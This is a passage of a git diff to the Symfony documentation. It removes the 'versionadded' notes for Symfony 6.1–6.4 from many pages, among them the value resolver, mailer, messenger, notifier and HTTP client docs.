-        ``DateTimeInterface`` object was introduced in Symfony 6.3.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.
@@ -147,10 +133,6 @@ Symfony ships with the following value resolvers in the
             }
         }
 
-    .. versionadded:: 6.1
-
-        The ``UidValueResolver`` was introduced in Symfony 6.1.
-
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver`
     Verifies if the request data is an array and will add all of them to the
     argument list. When the action is called, the last (variadic) argument will
@@ -176,10 +158,6 @@ In addition, some components, bridges and official bundles provide other value r
     If the argument is not nullable and there is no logged in token, an ``HttpException``
     with status code 401 is thrown by the resolver to prevent access to the controller.
 
-    .. versionadded:: 6.3
-
-        The ``SecurityTokenValueResolver`` was introduced in Symfony 6.3.
-
 :class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver`
     Automatically query for an entity and pass it as an argument to your controller.
 
@@ -203,10 +181,6 @@ In addition, some components, bridges and official bundles provide other value r
     To learn more about the use of the ``EntityValueResolver``, see the dedicated
     section :ref:`Automatically Fetching Objects <doctrine-entity-value-resolver>`.
 
-    .. versionadded:: 6.2
-
-        The ``EntityValueResolver`` was introduced in Symfony 6.2.
-
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
@@ -252,10 +226,6 @@ lets you do this by "targeting" the resolver you want::
         }
     }
 
-.. versionadded:: 6.3
-
-    The ``ValueResolver`` attribute was introduced in Symfony 6.3.
-
 In the example above, the ``SessionValueResolver`` will be called first because
 it is targeted. The ``DefaultValueResolver`` will be called next if no value has
 been provided; that's why you can assign ``null`` as ``$session``'s default value.
@@ -289,13 +259,6 @@ object whenever a controller argument has a type implementing
         }
     }
 
-.. versionadded:: 6.2
-
-    The ``ValueResolverInterface`` was introduced in Symfony 6.2. Prior to
-    6.2, you had to use the
-    :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentValueResolverInterface`,
-    which defines different methods.
-
 Adding a new value resolver requires creating a class that implements
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and defining a service for it.
@@ -469,8 +432,3 @@ You can then pass this name as ``ValueResolver``'s first argument to target your
             // ... do something with $id
         }
     }
-
-.. versionadded:: 6.3
-
-    The ``controller.targeted_value_resolver`` tag and ``AsTargetedValueResolver``
-    attribute were introduced in Symfony 6.3.
diff --git a/doctrine.rst b/doctrine.rst
index 0e8cd614598..b1931c5ddf8 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -606,10 +606,6 @@ the :ref:`doctrine-queries` section.
 Automatically Fetching Objects (EntityValueResolver)
 ----------------------------------------------------
 
-.. versionadded:: 6.2
-
-    Entity Value Resolver was introduced in Symfony 6.2.
-
 .. versionadded:: 2.7.1
 
     Autowiring of the ``EntityValueResolver`` was introduced in DoctrineBundle 2.7.1.
@@ -758,11 +754,6 @@ variable. Let's say you pass the page limit of a list in a query parameter::
     ): Response {
     }
 
-.. versionadded:: 6.4
-
-    The support for the ``request`` variable in expressions was introduced
-    in Symfony 6.4.
-
 MapEntity Options
 ~~~~~~~~~~~~~~~~~
 
diff --git a/form/unit_testing.rst b/form/unit_testing.rst
index e191676215c..fbaa067858e 100644
--- a/form/unit_testing.rst
+++ b/form/unit_testing.rst
@@ -249,9 +249,4 @@ All you need to do is to implement the
 :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and
 the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class was
-    introduced in Symfony 6.4.
-
 .. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers
diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8e655d69570..8317e5e3ecb 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1,10 +1,6 @@
 AssetMapper: Simple, Modern CSS & JS Management
 ===============================================
 
-.. versionadded:: 6.3
-
-    The AssetMapper component was introduced in Symfony 6.3.
-
 The AssetMapper component lets you write modern JavaScript and CSS without the complexity
 of using a bundler. Browsers *already* support many modern JavaScript features
 like the ``import`` statement and ES6 classes. And the HTTP/2 protocol means that
@@ -238,10 +234,6 @@ directory and not commit it to your repository. Therefore, you'll need to run th
 ``php bin/console importmap:install`` command to download the files on other
 computers if some files are missing.
 
-.. versionadded:: 6.4
-
-    The ``importmap:install`` command was introduced in Symfony 6.4.
-
 .. note::
 
     Sometimes, a package - like ``bootstrap`` - will have one or more dependencies,
@@ -258,10 +250,6 @@ You can check for available updates for your third-party packages by running:
     # check for updates for the given list of packages
     $ php bin/console importmap:outdated bootstrap lodash
 
-.. versionadded:: 6.4
-
-    The ``importmap:outdated`` command was introduced in Symfony 6.4.
-
 To update third-party packages in your ``importmap.php`` file, run:
 
 .. code-block:: terminal
@@ -680,11 +668,6 @@ same way::
 If the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
-.. versionadded:: 6.4
-
-    Automatic preloading of CSS files when WebLink is available was
-    introduced in Symfony 6.4.
-
 Frequently Asked Questions
 --------------------------
 
@@ -1101,10 +1084,6 @@ command as part of your CI to be warned anytime a new vulnerability is found.
     The command takes a ``--format`` option to choose the output format between
     ``txt`` and ``json``.
 
-.. versionadded:: 6.4
-
-    The ``importmap:audit`` command was introduced in Symfony 6.4.
-
 .. _latest asset-mapper recipe: https://github.com/symfony/recipes/tree/main/symfony/asset-mapper
 .. _import statement: https://caniuse.com/es6-module-dynamic-import
 .. _ES6: https://caniuse.com/es6
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index baef54e79d4..ea6eb0c8106 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -1,10 +1,6 @@
 HTML Sanitizer
 ==============
 
-.. versionadded:: 6.1
-
-    The HTML Sanitizer component was introduced in Symfony 6.1.
-
 The HTML Sanitizer component aims at sanitizing/cleaning untrusted HTML
 code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
 be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
diff --git a/http_cache.rst b/http_cache.rst
index e1f1a57399c..38badf3a5c4 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -229,10 +229,6 @@ The *easiest* way to cache a response is by caching it for a specific amount of
             return $response;
         }
 
-.. versionadded:: 6.2
-
-    The ``#[Cache()]`` attribute was introduced in Symfony 6.2.
-
 Thanks to this new code, your HTTP response will have the following header:
 
 .. code-block:: text
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index aaf1de564c1..52a09fb16a7 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -279,8 +279,4 @@ The ``render_esi`` helper supports three other useful options:
 ``absolute_uri``
      If set to true, an absolute URI will be generated. **default**: ``false``
 
-.. versionadded:: 6.2
-
-    The ``absolute_uri`` option was introduced in Symfony 6.2.
-
 .. _`ESI`: https://www.w3.org/TR/esi-lang/
diff --git a/http_client.rst b/http_client.rst
index 7b45c2cf2b4..083d6c83e70 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -618,13 +618,6 @@ of the opened file, but you can configure both with the PHP streaming configurat
     stream_context_set_option($fileHandle, 'http', 'filename', 'the-name.txt');
     stream_context_set_option($fileHandle, 'http', 'content_type', 'my/content-type');
 
-.. versionadded:: 6.3
-
-    The feature to upload files using handles was introduced in Symfony 6.3.
-    In previous Symfony versions you had to encode the body contents according
-    to the ``multipart/form-data`` content-type using the :doc:`Symfony Mime </components/mime>`
-    component.
-
 .. tip::
 
     When using multidimensional arrays the :class:`Symfony\\Component\\Mime\\Part\\Multipart\\FormDataPart`
@@ -717,10 +710,6 @@ when using any HTTP method and ``500``, ``504``, ``507`` and ``510`` when using
 an HTTP `idempotent method`_. Use the ``max_retries`` setting to configure the
 amount of times a request is retried.
 
-.. versionadded:: 6.4
-
-    The ``max_retries`` options was introduced in Symfony 6.4.
-
 Check out the full list of configurable :ref:`retry_failed options <reference-http-client-retry-failed>`
 to learn how to tweak each of them to fit your application needs.
 
@@ -740,10 +729,6 @@ each retry.
 Retry Over Several Base URIs
 ............................
 
-.. versionadded:: 6.3
-
-    The multiple ``base_uri`` feature was added in Symfony 6.3.
-
 The ``RetryableHttpClient`` can be configured to use multiple base URIs. This
 feature provides increased flexibility and reliability for making HTTP
 requests. Pass an array of base URIs as option ``base_uri`` when making a
@@ -962,11 +947,6 @@ If you want to define your own logic to handle variables of URI templates, you
 can do so by redefining the ``http_client.uri_template_expander`` alias. Your
 service must be invokable.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\HttpClient\\UriTemplateHttpClient` was
-    introduced in Symfony 6.3.
-
 Performance
 -----------
 
@@ -1525,10 +1505,6 @@ to wrap your HTTP client, open a connection to a server that responds with a
     use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
     method to directly get the decoded JSON as array.
 
-.. versionadded:: 6.3
-
-    The ``ServerSentEvent::getArrayData()`` method was introduced in Symfony 6.3.
-
 Interoperability
 ----------------
 
@@ -1646,10 +1622,6 @@ You can also pass a set of default options to your client thanks to the
 
     // ...
 
-.. versionadded:: 6.2
-
-    The ``Psr18Client::withOptions()`` method was introduced in Symfony 6.2.
-
 HTTPlug
 ~~~~~~~
 
@@ -1751,10 +1723,6 @@ You can also pass a set of default options to your client thanks to the
 
     // ...
 
-.. versionadded:: 6.2
-
-    The ``HttplugClient::withOptions()`` method was introduced in Symfony 6.2.
-
 Native PHP Streams
 ~~~~~~~~~~~~~~~~~~
 
@@ -2096,10 +2064,6 @@ You can use :class:`Symfony\\Component\\HttpClient\\Response\\JsonMockResponse`
         'foo' => 'bar',
     ]);
 
-.. versionadded:: 6.3
-
-    The ``JsonMockResponse`` was introduced in Symfony 6.3.
-
 Testing Request Data
 ~~~~~~~~~~~~~~~~~~~~
 
@@ -2251,10 +2215,6 @@ will find the associated response based on the request method, URL and body (if
 Note that **this won't work** if the request body or URI is random / always
 changing (e.g. if it contains current date or random UUIDs).
 
-.. versionadded:: 6.4
-
-    The ``HarFileResponseFactory`` was introduced in Symfony 6.4.
-
 Testing Network Transport Exceptions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2301,12 +2261,6 @@ you to do so, by yielding the exception from its body::
         }
     }
 
-.. versionadded:: 6.1
-
-    Being allowed to pass an exception directly to the body of a
-    :class:`Symfony\\Component\\HttpClient\\Response\\MockResponse` was
-    introduced in Symfony 6.1.
-
 .. _`cURL PHP extension`: https://www.php.net/curl
 .. _`Zlib PHP extension`: https://www.php.net/zlib
 .. _`PSR-17`: https://www.php-fig.org/psr/psr-17/
diff --git a/lock.rst b/lock.rst
index 35c3dc5be3c..d70f1d5535b 100644
--- a/lock.rst
+++ b/lock.rst
@@ -159,11 +159,6 @@ this behavior by using the ``lock`` key like:
             ;
         };
 
-.. versionadded:: 6.1
-
-    The CSV support (e.g. ``zookeeper://localhost01,localhost02:2181``) in
-    ZookeeperStore DSN was introduced in Symfony 6.1.
-
 Locking a Resource
 ------------------
 
diff --git a/mailer.rst b/mailer.rst
index fb05b7fe668..155ad1623a3 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -115,21 +115,6 @@ Service               Install with
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 ===================== ==============================================
 
-.. versionadded:: 6.2
-
-    The Infobip integration was introduced in Symfony 6.2 and the ``MailPace``
-    integration was renamed in Symfony 6.2 (in previous Symfony versions it was
-    called ``OhMySMTP``).
-
-.. versionadded:: 6.3
-
-    The MailerSend integration was introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The ``Brevo`` (in previous Symfony versions it was called ``Sendinblue``)
-    and ``Scaleway`` integrations were introduced in Symfony 6.4.
-
 .. note::
 
     As a convenience, Symfony also provides support for Gmail (``composer
@@ -227,10 +212,6 @@ party provider:
 |                        | - API sendgrid+api://KEY@default                    |
 +------------------------+-----------------------------------------------------+
 
-.. versionadded:: 6.3
-
-    The ``sandbox`` option in ``Mailjet`` API was introduced in Symfony 6.3.
-
 .. caution::
 
     If your credentials contain special characters, you must URL-encode them.
@@ -344,10 +325,6 @@ may be specified as SHA1 or MD5 hash::
 
     $dsn = 'smtp://user:pass@smtp.example.com?peer_fingerprint=6A1CF3B08D175A284C30BC10DE19162307C7286E';
 
-.. versionadded:: 6.4
-
-    The ``peer_fingerprint`` option was introduced in Symfony 6.4.
-
 Overriding default SMTP authenticators
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -373,11 +350,6 @@ This can be done from ``EsmtpTransport`` constructor or using the
     // Option 2: call a method to redefine the authenticators
     $transport->setAuthenticators([new XOAuth2Authenticator()]);
 
-.. versionadded:: 6.3
-
-    The ``$authenticators`` constructor parameter and the ``setAuthenticators()``
-    method were introduced in Symfony 6.3.
-
 Other Options
 ~~~~~~~~~~~~~
 
@@ -413,10 +385,6 @@ Other Options
 
         $dsn = 'smtps://smtp.example.com?max_per_second=2'
 
-    .. versionadded:: 6.2
-
-        The ``max_per_second`` option was introduced in Symfony 6.2.
-
 Creating & Sending Messages
 ---------------------------
 
@@ -816,11 +784,6 @@ for Twig templates::
         ])
     ;
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail::locale` method
-    was introduced in Symfony 6.4.
-
 Then, create the template:
 
 .. code-block:: html+twig
@@ -1414,11 +1377,6 @@ the "rendering" of the email (computed headers, body rendering, ...) is also
 deferred and will only happen just before the email is sent by the Messenger
 handler.
 
-.. versionadded:: 6.2
-
-    The following example about rendering the email before calling
-    ``$mailer->send($email)`` works as of Symfony 6.2.
-
 When sending an email asynchronously, its instance must be serializable.
 This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
 instances, but when sending a
@@ -1492,11 +1450,6 @@ disable asynchronous delivery.
     an open connection to the SMTP server in between sending emails.
     You can do so by using the ``stop()`` method.
 
-.. versionadded:: 6.1
-
-    The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
-    method was made public in Symfony 6.1.
-
 You can also select the transport by adding an ``X-Bus-Transport`` header (which
 will be removed automatically from the final message)::
 
@@ -1504,10 +1457,6 @@ will be removed automatically from the final message)::
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');
     $mailer->send($email);
 
-.. versionadded:: 6.2
-
-    The ``X-Bus-Transport`` header support was introduced in Symfony 6.2.
-
 Adding Tags and Metadata to Emails
 ----------------------------------
 
@@ -1549,17 +1498,9 @@ The following transports only support metadata:
 * Amazon SES (note that Amazon refers to this feature as "tags", but Symfony
   calls it "metadata" because it contains a key and a value)
 
-.. versionadded:: 6.1
-
-    Metadata support for Amazon SES was introduced in Symfony 6.1.
-
 Draft Emails
 ------------
 
-.. versionadded:: 6.1
-
-    ``Symfony\Component\Mime\DraftEmail`` was introduced in 6.1.
-
 :class:`Symfony\\Component\\Mime\\DraftEmail` is a special instance of
 :class:`Symfony\\Component\\Mime\\Email`. Its purpose is to build up an email
 (with body, attachments, etc) and make available to download as an ``.eml`` with
@@ -1631,10 +1572,6 @@ the email is sent::
         $event->addStamp(new SomeMessengerStamp());
     }
 
-.. versionadded:: 6.2
-
-    Methods ``addStamp()`` and ``getStamps()`` were introduced in Symfony 6.2.
-
 If you want to stop the Message from being sent, call ``reject()`` (it will
 also stop the event propagation)::
 
@@ -1645,10 +1582,6 @@ also stop the event propagation)::
         $event->reject();
     }
 
-.. versionadded:: 6.3
-
-    The ``reject()`` method was introduced in Symfony 6.3.
-
 Execute this command to find out which listeners are registered for this event
 and their priorities:
 
@@ -1661,10 +1594,6 @@ SentMessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
 
-.. versionadded:: 6.2
-
-    The ``SentMessageEvent`` event was introduced in Symfony 6.2.
-
 ``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
 class to access the original message (``getOriginalMessage()``) and some debugging
 information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
@@ -1696,10 +1625,6 @@ FailedMessageEvent
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
 
-.. versionadded:: 6.2
-
-    The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
-
 ``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
@@ -1749,10 +1674,6 @@ to test if sending emails works correctly:
 This command bypasses the :doc:`Messenger bus </messenger>`, if configured, to
 ease testing emails even when the Messenger consumer is not running.
 
-.. versionadded:: 6.2
-
-    The ``mailer:test`` command was introduced in Symfony 6.2.
-
 Disabling Delivery
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index 39200f0cb70..1322841c974 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -71,10 +71,6 @@ message class (or a message interface)::
     methods. You may use the attribute on as many methods in a single class as you
     like, allowing you to group the handling of multiple related types of messages.
 
-.. versionadded:: 6.1
-
-    Support for ``#[AsMessageHandler]`` on methods was introduced in Symfony 6.1.
-
 Thanks to :ref:`autoconfiguration <services-autoconfigure>` and the ``SmsNotification``
 type-hint, Symfony knows that this handler should be called when an ``SmsNotification``
 message is dispatched. Most of the time, this is all you need to do. But you can
@@ -349,11 +345,6 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\TransportNamesStamp`
-    stamp was introduced in Symfony 6.2.
-
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -684,10 +675,6 @@ of some or all transports:
     In order for this command to work, the configured transport's receiver must implement
     :class:`Symfony\\Component\\Messenger\\Transport\\Receiver\\MessageCountAwareInterface`.
 
-.. versionadded:: 6.2
-
-    The ``messenger:stats`` command was introduced in Symfony 6.2.
-
 .. _messenger-supervisor:
 
 Supervisor Configuration
@@ -769,10 +756,6 @@ However, you might prefer to use different POSIX signals for graceful shutdown.
 You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
 configuration option.
 
-.. versionadded:: 6.3
-
-    The ``framework.messenger.stop_worker_on_signals`` option was introduced in Symfony 6.3.
-
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
 need to add a ``stopwaitsecs`` key to the program configuration (with a value
@@ -985,10 +968,6 @@ this is configurable for each transport:
     the serialized form of the message is saved, which prevents to serialize it
     again if the message is later retried.
 
-    .. versionadded:: 6.1
-
-        The ``SerializedMessageStamp`` class was introduced in Symfony 6.1.
-
 Avoiding Retrying
 ~~~~~~~~~~~~~~~~~
 
@@ -1105,15 +1084,6 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
-.. versionadded:: 6.2
-
-    The ``--class-filter`` and ``--stats`` options were introduced in Symfony 6.2.
-
-.. versionadded:: 6.4
-
-    The ``--all`` option was introduced in Symfony 6.4.
-
-
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -1389,10 +1359,6 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
-.. versionadded:: 6.1
-
-    The ``connection_name`` option was introduced in Symfony 6.1.
-
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::
@@ -1615,15 +1581,6 @@ sentinel_master          String, if null or empty Sentinel      null
                          support is disabled
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
-
-    The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
-    ``sentinel_master`` options were introduced in Symfony 6.1.
-
-.. versionadded:: 6.4
-
-    Support for the multiple Redis Sentinel hosts DNS was introduced in Symfony 6.4.
-
 .. caution::
 
     There should never be more than one ``messenger:consume`` command running with the same
@@ -1782,10 +1739,6 @@ The transport has a number of options:
 ``wait_time``           `Long polling`_ duration in seconds     20
 ======================  ======================================  ===================================
 
-.. versionadded:: 6.1
-
-    The ``session_token`` option was introduced in Symfony 6.1.
-
 .. note::
 
     The ``wait_time`` parameter defines the maximum duration Amazon SQS should
@@ -1929,12 +1882,6 @@ contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
 :ref:`handler results <messenger-getting-handler-results>` for more information.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Console\\Messenger\\RunCommandMessage`
-    and :class:`Symfony\\Component\\Console\\Messenger\\RunCommandContext`
-    classes were introduced in Symfony 6.4.
-
 Trigger An External Process
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1967,12 +1914,6 @@ contains many useful information such as the exit code or the output of the
 process. You can refer to the page dedicated on
 :ref:`handler results <messenger-getting-handler-results>` for more information.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage`
-    and :class:`Symfony\\Component\\Process\\Messenger\\RunProcessContext`
-    classes were introduced in Symfony 6.4.
-
 Pinging A Webservice
 --------------------
 
@@ -2013,11 +1954,6 @@ The handler will return a
 :class:`Symfony\\Contracts\\HttpClient\\ResponseInterface`, allowing you to
 gather and process information returned by the HTTP request.
 
-.. versionadded:: 6.4
-
-    The :class:`Symfony\\Component\\HttpClient\\Messenger\\PingWebhookMessage`
-    class was introduced in Symfony 6.4.
-
 Getting Results from your Handlers
 ----------------------------------
 
@@ -2538,11 +2474,6 @@ provided in order to ease the declaration of these special handlers::
         }
     }
 
-.. versionadded:: 6.3
-
-    The :method:`Symfony\\Component\\Messenger\\Handler\\BatchHandlerTrait::getBatchSize`
-    method was introduced in Symfony 6.3.
-
 .. note::
 
     When the ``$ack`` argument of ``__invoke()`` is ``null``, the message is
@@ -2868,10 +2799,6 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
-.. versionadded:: 6.2
-
-    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.2.
-
 Additional Handler Arguments
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2920,11 +2847,6 @@ Then your handler will look like this::
         }
     }
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Component\\Messenger\\Stamp\\HandlerArgumentsStamp`
-    was introduced in Symfony 6.2.
-
 .. _messenger-multiple-buses:
 
 Multiple Buses, Command & Event Buses
@@ -3038,10 +2960,6 @@ an **event bus**. The event bus could have zero or more subscribers.
             $eventBus->middleware()->id('validation');
         };
 
-.. versionadded:: 6.2
-
-    The ``allow_no_senders`` option was introduced in Symfony 6.2.
-
 This will create three new services:
 
 * ``command.bus``: autowireable with the :class:`Symfony\\Component\\Messenger\\MessageBusInterface`
@@ -3247,12 +3165,6 @@ will take care of this message to redispatch it through the same bus it was
 dispatched at first. You can also use the second argument of the ``RedispatchMessage``
 constructor to provide transports to use when redispatching the message.
 
-.. versionadded:: 6.3
-
-    The :class:`Symfony\\Component\\Messenger\\Message\\RedispatchMessage`
-    and :class:`Symfony\\Component\\Messenger\\Handler\\RedispatchMessageHandler`
-    classes were introduced in Symfony 6.3.
-
 Learn more
 ----------
 
diff --git a/notifier.rst b/notifier.rst
index c617ea8224d..3127ec05bc1 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -102,26 +102,6 @@ Service             Package                                DSN
 `Yunpian`_          ``symfony/yunpian-notifier``           ``yunpian://APIKEY@default``
 ==================  =====================================  ===========================================================================
 
-.. versionadded:: 6.1
-
-    The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
-    The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
-    The ``test`` option in ``Smsapi`` DSN was introduced in Symfony 6.1.
-
-.. versionadded:: 6.2
-
-    The ContactEveryone and SMSFactor integrations were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The Bandwith, iSendPro, Plivo, RingCentral, SimpleTextin and Termii integrations
-    were introduced in Symfony 6.3.
-    The ``from`` option in ``Smsapi`` DSN is optional since Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The `Redlink`_ and `Brevo`_ integrations were introduced in Symfony 6.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -211,14 +191,6 @@ send SMS messages::
         }
     }
 
-.. versionadded:: 6.2
-
-    The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The 4th argument of ``SmsMessage`` (``$options``) was introduced in Symfony 6.3.
-
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.
@@ -263,14 +235,6 @@ Service                                  Package                               D
 `Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
 ======================================   ====================================  =============================================================================
 
-.. versionadded:: 6.2
-
-    The Zendesk and Chatwork integration were introduced in Symfony 6.2.
-
-.. versionadded:: 6.3
-
-    The LINE Notify, Mastodon and Twitter integrations were introduced in Symfony 6.3.
-
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
@@ -450,18 +414,6 @@ Service          Package                               DSN
 `Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
 ===============  ====================================  ==============================================================================
 
-.. versionadded:: 6.1
-
-    The Engagespot integration was introduced in Symfony 6.1.
-
-.. versionadded:: 6.3
-
-    The PagerDuty and Pushover integrations were introduced in Symfony 6.3.
-
-.. versionadded:: 6.4
-
-    The Novu, Ntfy and GoIP integrations were introduced in Symfony 6.4.
-
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
 
@@ -823,10 +775,6 @@ also exists to modify messages sent to those channels.
 Customize Browser Notifications (Flash Messages)
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 6.1
-
-    Support for customizing importance levels was introduced in Symfony 6.1.
-
 The default behavior for browser channel notifications is to add a
 :ref:`flash message <flash-messages>` with ``notification`` as its key.
 
@@ -886,11 +834,6 @@ You can benefit from this class by using it directly or extending the
 
 See :ref:`testing documentation <notifier-assertions>` for the list of available assertions.
 
-.. versionadded:: 6.2
-
-    The :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\NotificationAssertionsTrait`
-    was introduced in Symfony 6.2.
-
 Disabling Delivery
 ------------------
 
diff --git a/performance.rst b/performance.rst
index 847da532769..1bb0e261c74 100644
--- a/performance.rst
+++ b/performance.rst
@@ -261,10 +261,6 @@ in performance, you can stop generating the file as follows:
         // ...
         $container->parameters()->set('debug.container.dump', false);
 
-.. versionadded:: 6.3
-
-    The ``debug.container.dump`` option was introduced in Symfony 6.3.
-
 .. _profiling-applications:
 
 Profiling Symfony Applications
diff --git a/profiler.rst b/profiler.rst
index b21132a5816..c0d3640109b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -35,10 +35,6 @@ Symfony Profiler, which will look like this:
     in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler``
     URL to see all profiles.
 
-.. versionadded:: 6.3
-
-    Profile garbage collection was introduced in Symfony 6.3.
-
 .. note::
 
     To limit the storage used by profiles on disk, they are probabilistically
@@ -91,10 +87,6 @@ look for tokens based on some criteria::
     // gets the latest 10 tokens for requests that happened between 2 and 4 days ago
     $tokens = $profiler->find('', '', 10, '', '4 days ago', '2 days ago');
 
-.. versionadded:: 6.4
-
-    Prefixing the URL filter with a ``!`` symbol to negate the query was introduced in Symfony 6.4.
-
 Data Collectors
 ---------------
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1fe86ef020a..5cb5cbfd918 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -320,11 +320,6 @@ processes by reserving unused tokens.
             $limit->wait();
         } while (!$limit->isAccepted());
 
-.. versionadded:: 6.4
-
-    The support for the ``reserve()`` method for the ``SlidingWindow`` strategy
-    was introduced in Symfony 6.4.
-
 Exposing the Rate Limiter Status
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -370,11 +365,6 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
         }
     }
 
-.. versionadded:: 6.4
-
-    The :method:`Symfony\\Component\\RateLimiter\\Policy\\SlidingWindow::calculateTimeForTokens`
-    method was introduced in Symfony 6.4.
-
 .. _rate-limiter-storage:
 
 Storing Rate Limiter State
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 482396d2ae2..62cc40675b2 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -17,10 +17,6 @@ key in your application configuration.
     # environment variables with their actual values
     $ php bin/console debug:config --resolve-env framework
 
-.. versionadded:: 6.2
-
-    The ``--resolve-env`` option was introduced in Symfony 6.2.
-
 .. note::
 
     When using XML, you must use the ``http://symfony.com/schema/dic/debug``
